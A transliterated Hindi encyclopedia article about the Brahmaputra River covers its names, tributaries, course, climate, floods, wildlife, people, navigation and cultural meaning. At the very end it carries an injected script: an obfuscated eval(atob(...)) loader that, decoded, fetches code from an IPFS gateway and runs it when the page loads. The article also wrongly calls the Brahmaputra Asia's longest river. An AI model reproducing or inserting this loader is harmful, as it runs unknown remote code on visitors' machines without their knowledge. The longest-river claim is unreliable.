ब्रह्मपुत्र नदी

brahmaputr nadi
brahmaputr nadi|200px|center
any nam	jamuna (baangladesh mean), ya-loo-tsaang-poo chiyaang (chin mean), tsaang-po (tibbat mean), dihan (arunachal pradesh mean)
desh	bharat, baangladesh, chin
rajy	asam, arunachal pradesh
udgam sthal	kailash manasarovar
visarjan sthal	bangal ki kha di
lambaee	lagabhag 2,900 kimi
adhikatam gaharaee	318 mitar
sahayak nadiyaan	tista, suvanashri, torsa, lohit, barak
googal manachitr	brahmaputr, asam
jalavayu	brahmaputr ghati ki jalavayu tibbat mean paee jane vali rookhi thandi aur shushk paristhitiyoan se asam ghati aur baangladesh mean paee jane vali amataur par garm aur ardr paristhitiyoan tak vividh hai.
any janakari	bharat aur baangladesh mean brahmaputr dvara vahit pani ki matra bahut adhik hai, barasat ke mausam mean pani ka bahav 14,200 kyoobik mitar prati sekeand anumanit hai.

brahmaputr nadi (aangrezi: Brahmaputra River) tibbat, bharat tatha baangladesh mean bahane vali ek aitihasik nadi hai. brahmaputr nadi ka udgam tibbat ke dakshin mean manasarovar ke nikat chemayuang duang namak himavah se hua hai. apane marg mean yah chin ke svashasi kshetr tibbat, bharatiy rajyoan, arunachal pradesh v asam aur baangladesh se hokar bahati hai. apani lanbaee ke adhikatar hisse mean nadi mahattvapoorn aantarik jalamarg ka kary karati hai; phir bhi tibbat ke paha doan aur bharat ke maidani ilaqoan mean yah nauka chalak ke yogy nahian hai. apane nichale marg mean yah nadi srijan aur vinash, donoan hi karati hai. sath hi yah b di matra mean upajaoo jalodh mitti jama karati hai. parantu aksar vinashakari badh lane vali siddh hoti hai.

brahmaputr ke any nam

• baangla bhasha mean jamuna ke nam se jani jati hai.
• chin mean ya-loo-tsaang-poo chiyaang ya yaraluang zaiganbo jiyaang kahate hai.
• tibbat mean tsaang-po ya saanpo ke nam se jani jati hai.
• madhy aur dakshin eshiya ki pramukh nadi kahate haian.
• arunachal mean dihan ke nam se jani jati hai.
• asam mean brahmaputr kahate haian.

brahmaputr ki upanadiyaan

• suvanashri
• tista
• torsa
• lohit
• barak

prakritik visheshataean

bhoo-akriti

• brahmaputr ka udagam sthal chemayuangadang himanad hai, jo dakshin-pashchimi tibbat mean ma-fa-mooan (mapam) jhil se lagabhag 97 kilomitar dakshin-poorv mean himalay ki dhalanoan ko achchhadit karata hai. koobi, aangasi aur chemayuangadang vahaan se utpann hone vali tin mukhy dharaean haian. nadi apane udagam sthal se samanyatah poorvi disha mean dakshin ki or himalay ki mukhy parvat shreni aur uttar ki or nien-chiang-taang-koo-la (nyenachen) parvatoan ke bich qarib 1,126 kilomitar tak pravahit hoti hai.

thumb|250px|left|brahmaputr nadi

• nadi apane poore oopari marg par samanyatah tsaangapo (shodhak) ke nam se jani jati hai, aur apane marg mean kee jagahoan par apane chini nam se aur any sthaniy tibbati namoan se bhi jani jati hai.
• tibbat mean tsaang-po kuchh upanadiyoan ko samahit karati hai, baean tat ki sabase mahattvapoorn upanadiyaan haian, lo-katsaang-poo (raga tsaang-po), jo jih-ka-tse (shiangatsi) ke pashchim mean nadi se ju dati hai aur la-sa (ki), jo tibbat ki rajadhani lhasa ke nikat se bahati hai aur choo-shuee mean tsaangapo se ju dati hai. ni-yaang (gyamada) nadi is nadi se tsi-la (tsela dazoang) mean uttar ki or ju dati hai. daean tat par nien-choo (nyaang choo) nadi is nadi se jih-ka-tse par milati hai. tibbat mean paee (pe) se gujarane ke bad, nadi achanak uttar aur poorvottar ki or mu d jati hai aur gyala peri aur namacha barakha (mauant-na-moo-cho-irh--va) ke paha doan ke bich utpravan jal prapatoan ki shrriankhala mean ek ke bad ek b di sankari ghatiyoan se rasta banati hai. usake bad, yah nadi dakshin aur dakshin-pashchim ki or mu dati hai aur dihaang nadi ke roop mean poorvottar bharat ki asam ghati mean pravesh ke lie himalay ke poorvi chhor se gujarati hai.
• bharat mean sadiya shahar ke pashchim mean dihaang dakshin-pashchim ki or mu dati hai, isamean do paha di jaladharaean, lohit aur dibaang milati hai. sangam ke bad bangal ki kha di se qarib 1,448 kilomitar pahale nadi brahmaputr ke nam se jani jati hai. asam mean isaka pat sookhe mausam ke dauran bhi nadi mean khasa pani rahata hai aur barasat ke mausam mean to isaka pat 8 kilomitar se bhi chau da ho jata hai. jaise-jaise yah nadi ghati ke 724 kilomitar lambe marg mean apane ghumabadar ka anusaran karati hai, isamean subanasiri, kameang, bhareli, dhanasari, manas, chanpamati, saralabhanga aur sankosh nadiyoan sahit kee tezi se bahati himalayi nadiyaan milati haian. budhi dihaang, disaang, dikhi aur kopili paha diyoan aur dakshin ke pathar se ane vali mukhy upanadiyaan haian.
• bharat mean dhuburi ke niche garo paha di ke nikat dakshin mean mu dane ke bad brahmaputr baangladesh ke maidani ilaqe mean pravesh karati hai. baangladesh mean chilamari ke nikat se bahane ke pashchath isake daean tat par tista nadi isase milati hai aur usake bad yah jamuna nadi ke roop mean dakshin ki or 241 kilomitar lamba marg tay karati hai. ganga se sangam se pahale jamuna mean baean tat se baral, ataree aur hurasagar nadiyoan ka jal a milata hai aur isake baean tat par vishal dhaleshvari nadi ka nikasi marg ban jata hai. dhaleshvari ki ek upanadi budhi ganga, dhaka se age nikalakar muanshiganj se oopar meghana nadi mean milati hai.
• gvalandoan ghat ke uttar mean jamuna (brahmaputr) ganga se milati hai, jisake bad padma ke roop mean unaka mishrit jal dakshin-poorv mean 121 kilomitar ki doori tak bahata hai. padma, meghana nadi se sangam ke lie chaandapur ke nikat pahuanchati hai aur tab meghana nadi mukh aur chhote jalamargoan dvara bangal ki kha di mean pravesh karati hai.

jalavayu

brahmaputr ghati ki jalavayu tibbat mean paee jane vali rookhi thandi aur shushk paristhitiyoan se asam ghati aur baangladesh mean paee jane vali amataur par garm aur ardr paristhitiyoan tak vividh hai. tibbat mean shit rritu atyadhik thandi hoti hai. jisamean nyoonatam tapaman 0° se. niche rahata hai. jabaki grishm rritu suhani aur ujali hoti hai. nadi ghati himalay ke manasoon kshetr mean sthit hai aur yahaan par varsha apekshakrit kam hai. lhasa mean 400 mimi varshik varsha hoti hai. ghati ke bharatiy aur baangladeshi hisse mean manasooni jalavayu kuchh had tak bhinn hai. grishm rritu samany se chhoti hoti hai aur ausat tapaman dhuburi, asam mean 26° se. se dhaka mean 29° se. tak rahata hai. varsha apekshakrit adhik hai aur nami varsh bhar kafi zyada rahati hai. 1,778 aur 3,810 mimi ke bich ki varshik varsha mukhyatah joon aur shuruati aktoobar mah ke bich hoti hai, march se mee tak halki barish hoti hai.

jal vijnan

• nadi ke marg mean nirantar badalav brahmaputr ke jal vijnan mean mahattvapoorn bhoomika nibhata hai. inamean sabase ashcharyajanak badalav tista nadi ke poorv ki or mu dane aur phalasvaroop jamuna ki nee nahar ka vikas tha, jo 1787 mean tista mean aee apekshakrit vishal badh se utpann hua tha. tista ka pani achanak poorv ki or ek purane parityakt marg ki or mu d gaya tha. jisake phalasvaroop nadi mayemenasianh zile mean bahadurabad ghat ke samane brahmaputr se mili. 18vian shatabdi ke aant tak brahmaputr mayamenasianh nagar se hokar guzarati thi aur bhairab bazar ke pas meghana nadi mean milati thi (vartaman mean purani brahmaputr dhara ka marg). us samay jamuna nadi ka marg (ab mukhy brahmaputr dhara) konaee-jenaee namak ek chhoti-si dhara hua karata tha. jo sambhavatah purani brahmaputr se alag huee nahar thi. 1787 ki tista mean aee badh ke adhik shaktishali hone par brahmaputr konaee-jenaee ke nikat ek nee nahar katane lagi aur 1810 ke bad vah dhire-dhire jamuna ke nam se jnat mukhyadhara mean badal gee.

thumb|250px|brahmaputr nadi

• ganga aur brahmaputr ke nichale margoan ke kinare aur meghana ke tatoan par in kriyashil nadiyoan ke margoan ke hatane aur badalane ke karan dharati mean nirantar ksharan aur ret ka jamav hota rahata hai. joon se sitanbar ke manasoon ke mahinoan mean bahut b da ilaqa badh se ghir jata hai. 1787 se jamuna ne anek bar marg badala hai aur nadi kabhi bhi lagatar do varsho tak ek jagah par nahian tiki. mausam ke sath nadi mean tapoo aur zamin ke ne avasadit tuk de (char) prakat hokar gayab ho jate haian. baangladesh ki arthavyavastha mean ye 'char' atirikt kheti ke kshetroan ke roop mean mahattvapoorn haian.
• tibbat mean brahmaputr ka pani saf hai, kyoanki pravah ke sath bahut kam ret bahati hai, kintu jaise hi nadi asam ghati mean pravesh karati hai, ret ki matra badh jati hai. barish mean bhigi himalayi dhalan se niche utarane vali uttari upanadiyoan mean gati aur pani ki matra ke karan bahane vali mitti ki matra un upanadiyoan ke muqabale zyada hai, jo dakshin ki or purane pathar ki chattanoan ko par karati hai. asam mean brahmaputr ki gahari dhara uttari tat ke muqabale dakshini tat par zyada rahati hai. mitti se ladi uttari upanadiyoan dvara nahar ko dakshin ki or dhakelane se yah pravritti aur balavati hoti hai.
• nadi ki ek aur mahattvapoorn jal vaijnanik khoobi isaki badh ki pravritti hai. bharat aur baangladesh mean brahmaputr dvara vahit pani ki matra bahut adhik hai, barasat ke mausam mean pani ka bahav 14,200 kyoobik mitar prati sekeand anumanit hai. asam ghati uttar, poorv aur dakshin mean paha di shrriankhalaoan se ghiri huee hai aur yahaan par varsh mean 2,540 mimi se adhik varsha hoti hai. jabaki bangal ke maidanoan mean 1,778 se 2,540 mimi ki bhari varsha tista, torasa aur jaladhaka nadiyoan ke bhari bahav se badh jati hai. brahmaputr ghati mean vrihad badh, 1950 ke asam bhookamp se ju de bhooskhalan lagabhag prativarsh ki ghatanaean ho gee haian. isake atirikt bangal ki kha di se aandar ki or ate hue ushnakatibandhiy chakravatoan ke sath jvar-bhate ki laharean nadimukh kshetr mean samay-samay par bhari tabahi machati haian.

vanaspati evan prani jivan

asam ka bahut b da bhoobhag sal (ral dene vale bahumooly lak di ke pe d) ke jangaloan se ghira hai aur vishal badh se maidanoan ke pani bhare kshetroan (jhiloan) aur daladaloan mean lambe sarakandoan ke jangal ug jate haian. asam ghati ke asapas ki bastiyoan mean kee phaloan ke pe d, jaise kele, papite, am aur katahal ugae jate haian. har jagah baans ke jhuramut prachur matra mean haian.

asam mean daladaloan ka sabase ullekhaniy pashu ek siang vala gaianda hai, jo ab vishv ke doosare bhagoan se lupt ho chuka hai. kaziranga rashtriy udyan ghati mean gaiandoan aur doosare vany jiv, jinamean hathi, bagh,teandue, jangali bhaianse aur hiran sammilit haian, ko ashray pradan karata hai. machhaliyoan ki bahut si qismoan mean betaki, pab da, roohi, chital aur mrigal shamil hai. 1928 mean sthapit, 360 varg kilomitar mean phaila manas seanchuri aiand taigar rizarv projekt taigar ke aantargat a gaya hai. yah abhayarany sabhi bharatiy udyanoan mean sabase akarshak mana jata hai. yahaan par vany jivan ke sath hi samriddh pakshi-jivan bhi vishisht aur prachur hai. isi tarah vany jiv barana di abhayarany (1980 mean sthapit) aur garamapan abhayarany (1952 mean sthapit) mean teanduoan, sheroan, hathiyoan, dridhalomi kharagoshoan aur shoodr shookaroan ko dekha ja sakata hai.

janajivan

brahmaputr ghati ke vibhinn hissoan mean rah rahe logoan ki utpatti aur sanskriti vividhatapoorn hai. himalayi parakote ke uttar mean rahane vale tibbati bauddh dharm ka palan karate haian aur tibbati bhasha bolate haian. ye pashupalan mean sanlagn haian aur nadi se lie ge sianchaee jal se ghati ke khetoan mean krish karate haian.

asami log mangoliyaee-tibbati, ary aur barmi mool ka mila-jula samooh hai. unaki bhasha baangla bharat mean pashchim bangal rajy aur baangladesh mean boli jane vali bhasha se milati julati hai.

19vian sadi ke aant se ab tak baangladesh ke bangal maidan se pravasiyoan ka bhari sankhya mean lati mean pravesh hua hai. jahaan vah lagabhag khali zaminoan, vishesh roop se nichale badh ke maidanoan ko jotane ke lie bas ge haian. bangal maidan mean nadi un kshetroan se pravahit hoti hai, jisamean bangali saghan roop se base hue haian aur upajaoo ghati mean krishi karate haian. maidan ke parvatiy kinaroan par garo, khasi aur hajog namak paha di janajatiyaan nivas karati haian.

arthavyavastha

sianchaee aur badh niyantran

1954 ke bad badh niyantran yojanaean aur tatabandhoan ka nirman prarambh kie ge the, baangladesh mean jamuna nadi ke pashchim mean dakshin tak bana brahmaputr tatabandh badh ko niyantrit karane mean sahayak siddh hota hai. tista baraj pariyojana, sianchaee aur badh, donoan ki suraksha yojana hai. brahmaputr ya asam ghati se bahut tho di vidyut paida ki jati hai. jabaki usaki anumanit kshamata kafi hai. akele bharat mean hi yah lagabhag ho sakati hai 12,000 megavat hai. asam mean kuchh jalavidyut kendr banae ge haian. jinamean se sabase ullekhaniy 'kopali haidal projekt' hai aur any ka nirman kary jari hai. [[chitr:Brahmaputra-River-Assam.jpg|thumb|250px|left|brahmaputr nadi, asam]]

nau-sanchalan aur parivahan

tibbat mean la-tjoo (lhatse dazoang) ke pas nadi lagabhag 644 kilomitar ke ek naukayan yogy jalamarg se milati hai. charmavrit naukaean (pashu-charm aur baans se bani naukaean) aur b di naukaean samudr tal se 3,962 mitar ki ooanchaee par isamean yatra karati haian. tsaangapo par kee sthanoan par jhoolate pul banae ge haian.

asam aur baangladesh ke bhari vale kshetroan mean bahane ke karan brahmaputr sianchaee se zyada aantahsthaliy nau-sanchalan ke lie mahattvapoorn hai. nadi ne panshchim bangal aur asam ke bich purane samay se ek jalamarg bana rakha hai. yadyapi yada-kada rajanitik vivadoan ke karan baangladesh jane vala yatayat ast-vyast hua hai. brahmaputr bangal ke maidan aur asam se samudr se 1,126 kilomitar ki doori par dibragadh tak naukayan yogy hai. sabhi prakar ke sthaniy jalayanoan ke sath hi yantrachalit lanch aur stimar bhari bharakam kachcha mal, imarati lak di aur kachche tel ko dhote hue asani se nadi marg mean oopar aur niche chalate haian.

1962 mean asam mean guvahati ke pas s dak aur rel, donoan ke lie saraeeghat pul banane tak brahmaputr nadi maidanoan mean apane poore marg par bina pul ke thi. 1987 mean tezapur ke nikat ek doosara kaliya bhomaura s dak pul arambh hua. brahmaputr ko par karane ka sabase mahattvapoorn aur baangladesh mean to ekamatr adhan naukaean hi haian. sadiya, dibragadh, jorahat, tezapur, guvahati, govalapara aur dhuburi asam mean mukhy shahar aur nadi par karane ke sthan haian. baangladesh mean mahattvapoorn sthan haian, kurigram, rahumari, chilamari, bahadurabad ghat, phoolachari, sarishaba di, jagannathaganj ghat, nagaraba di, siraganj aur gouando ghat, antim rel bindu bahadurabad ghat, phoolachari, jagannathaganj ghat, sirajaganj aur govalando ghat par sthit hai.

adhyayan aur anveshan

brahmaputr ka oopari marg 18vian shatabdi mean hi khoj liya gaya tha. halaanki 19vian shatabdi tak yah lagabhag ajnat hi tha. asam mean 1886 mean bharatiy sarvekshak kianthoop (1884 mean prativedit) aur je.ef. nidhaim ki khoj ne tsaangpo nadi ko brahmaputr ke oopari marg ke roop mean sthapit kiya. 20vian shatabdi ke pratham chaturthaansh mean kee british abhiyanoan ne tsaangpo ki dhara ke pratikool jakar tibbat mean jih-ka-tse tak nadi ke paha di darroan ki khoj ki.

sanskritiyoan aur sabhyataoan ke milan ki gavah

brahmaputr nadi vibhinn sanskritiyoan aur sabhyataoan ke samanvay ka jianda misal bhi hai. vikhyat gayak d aau. bhoopen hajarika ke git ki in panktiyoan mean mahabahu brahmaputr ki gaharaee ko mahasoos kiya ja sakata hai - mahabahu brahmaputr, mahamilanar tirth koto jug dhari, aise prakasi samanvayar tirth (o mahabahu brahmaputr, mahamilan ka tirth, kitane yugoan se vyakt karate rahe samanvay ka arth) lokagitoan ke alava brahmaputr par n jane kitane git likhe ge haian aur ab bhi likhe ja rahe haian. sirph bhoopen da ne is par kam se kam darjan bhar gitoan ko avaj di hai. brahmaputr asamiya rachanakaroan ka pramukh patr raha hai. chitrakaroan ke lie akarshak vishay. navikoan ke lie jivan ki gati hai to machhuaroan ke lie jiandagi. poorvottar mean pravesh karane ka sabase purana rasta. jab yatayat ka any koee sadhan nahian tha, tab isi ke sahare poore desh ka sanbandh poorvottar ke sath tha.

brahmaputr sirph ek nadi nahian hai. yah ek darshan hai-samanvay ka. isake tatoan par kee sabhyataoan aur sanskritiyoan ka milan hua hai. ary-anary, mangol-tibbati, barmi-dravi d, mugal-ahom sanskritiyoan ki takarahat aur milan ka gavah yah brahmaputr raha hai. jis tarah anek nadiyaan isamean samahit hokar age badhi haian, usi tarah kee sanskritiyoan ne milakar ek alag sanskriti ka gathan kiya hai. brahmaputr poorvottar ki, asam ki pahachan hai, jivan hai aur sanskriti bhi. asam ka jivan to isi par nirbhar hai. asamiya samaj, sabhyata aur sanskriti par isaka prabhav yugoan-yugoan se prachalit lokakathaoan aur lokagitoan mean dekha ja sakata hai. udaharan ke lie ek asamiya lokagit ko dekha ja sakata hai-

brahmaputr kano te, barahamookhari joopi, ami khara lora jaee
ootoobaee niniba, brahmaputr devata, tamol di manota naee.

(brahmaputr ke kinare haian barahamoothari ke pe d, jahaan ham jalavan lane jate haian. ise nigal mat lena, brahmaputr dev! hamari kshamata to tumhean kachchi supa di arpan karane tak ki bhi nahian hai)

eshiya ki sabase lanbi nadi

brahmaputr bharat hi nahian balki eshiya ki sabase lanbi nadi hai. yadi ise deshoan ke adhar par vibhajit karean to tibbat mean isaki lanbaee 1625 kilomitar hai, bharat mean 918 kilomitar aur baangladesh mean 363 kilomitar lanbi hai yani [[bangal ki kha di]] mean samane se pahale yah karib tin hazar kilomitar ka lanba saphar tay kar chuki hoti hai. is dauran anek nadiyaan aur unaki up-nadiyaan akar isamean sama jati haian. har nadi ki apani kahani hai aur unake kinare basi janajatiyoan ki apani sanskriti hai. yah bhale hi tibbat se nikalakar bharat ke arunachal pradesh ke raste asam ko uttar par aur dakshin par mean vibhajit karati huee pashchim bangal ke raste sikkim ki paha diyoan ko chhookar tista se milane ke bad baangladesh mean jakar sagar mean sama jati hai lekin isake pahale yah meghalay ki garo paha diyoan ka charan sparsh karati hai. is kram mean arunachal pradesh, nagalaiand, meghalay, bhootan, pashchim bangal aur sikkim ke paha doan se nikali any anek nadiyaan isamean samahit ho jati haian. kisi nadi ka pani lal hota hai to kisi ka nila, koee matamaila to koee shvet. yah sabhi ko unake mool rang mean svikar kar apane rang mean rang leti hai. udar bahmaputr kisi ki upeksha nahian karati. nadi chhoti ho ya b di, sabhi ko sath lekar age badhati jati hai. bhale hi kee nadiyaan kafi door tak apani alag pahachan banae rakhane mean saksham hoti haian ya brahmaputr ke samanaantar chalane ka upakram karati haian, yah phir brahmaputr ko aangikar karane mean sharmati huee age badhati hai lekin kitani door tak chalega yah lukachhipi ka khel. aant mean unhean akar samarpan kar dena p data hai aur usi kram mean badam ke akar ke kee nadi dvip (sthaniy bhasha mean chapari) bahmaputr ki chhati par ug ate haian. phir manasoon ate hi adhikaansh dvipoan ko apane sine se laga leti hai. brahmaputr aur luit ke bich isi tarah ke khel mean taja pani ka sabase b da nadi dvip-majuli ban gaya. yah dvip har manasoon mean banate-big date haian. ek dvip vilin hota hai to doosara ug jata hai. kahian par nadiyoan ka sangam parilakshit hota hai to kahian par yah milan gupt tarike se hota hai. yah sangam kisi abadi vale ilake mean hota hai to kahian ghane jangaloan ke bich. brahmaputr mean samane vale asankhy naloan ki ginati to asanbhav hai. sabase khas bat yah hai ki isake donoan or paha diyoan ki lanbi shrriankhalaean haian.

samachar

budhavar, 24 agast, 2011

chin ne khoja brahmaputr-siandhu ka udgam sthal

chin ke vaijnanikoan ne brahmaputr aur siandhu nadi ke udgam sthal ka pata laga liya hai. brahmaputr nadi par baandh banane samet tibbat mean kee jal pariyojanaoan ko aanjam dene ke lie taiyar baithe chini vaijnanikoan ne in nadiyoan ke marg ki lanbaee ka vyapak upagrah adhyayan poora karane ki bat bhi kahi hai.thumb|250px|brahmaputr nadi chainij ekedami aauph saiansej (siees) ke vaijnanikoan ne yah adhyayan kiya hai. brahmaputr ke marg ka upagrah se li gee tasviroan ka vishleshan kar vaijnanikoan ne usake poore marg ka adhyayan kiya. isi tarah bharat-pakistan se bahane vali siandhu aur myaanmar ke raste bahane vali salavin aur irravadi ke bahav ke bare mean bhi poora vivaran jutaya gaya. siees ki ikaee ianstityoot aauph rimot seansiang eplikeshans ke shodhakarta liyoo shaochuaang ne shinhua sanvad samiti ko yah janakari di. unhoanne bataya ki isase pahale in char nadiyoan ke udgam ke sanbandh mean koee spasht janakari nahian thi. itana hi nahian inaki lanbaee aur kshetr ko lekar bhi bhram bana hua tha. is kary mean prakritik paristhitiyoan se ju di kee badhaean hone aur sarvekshan ki takanik simit hone ke karan bhram ki sthiti bani huee thi.

samachar ko vibhinn srotoan par padhean

• veb duniya hindi

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• brahmaputr ke kinare kinare

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>